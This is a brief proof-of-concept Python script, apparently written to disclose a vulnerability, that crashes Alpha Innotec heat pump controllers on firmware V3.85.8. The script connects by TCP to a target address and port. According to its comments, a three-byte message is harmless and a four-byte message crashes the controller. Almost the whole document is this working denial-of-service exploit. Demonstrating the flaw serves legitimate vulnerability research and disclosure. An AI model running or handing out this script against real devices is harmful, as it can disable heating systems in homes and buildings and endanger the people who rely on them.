Demonstation of a vulnerability in Alpha Innotec heatpumps (firmware version V3.85.8 (r7193)).

crash-heatpump.py

#! /usr/bin/env python3

import argparse
import socket

parser = argparse.ArgumentParser()
parser.add_argument('ip')
parser.add_argument('port', type=int)
args = parser.parse_args()

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
client.connect((args.ip, args.port))

# This does not crash the controller
client.send("aaa".encode());

# This will crash the controller
client.send("aaaa".encode());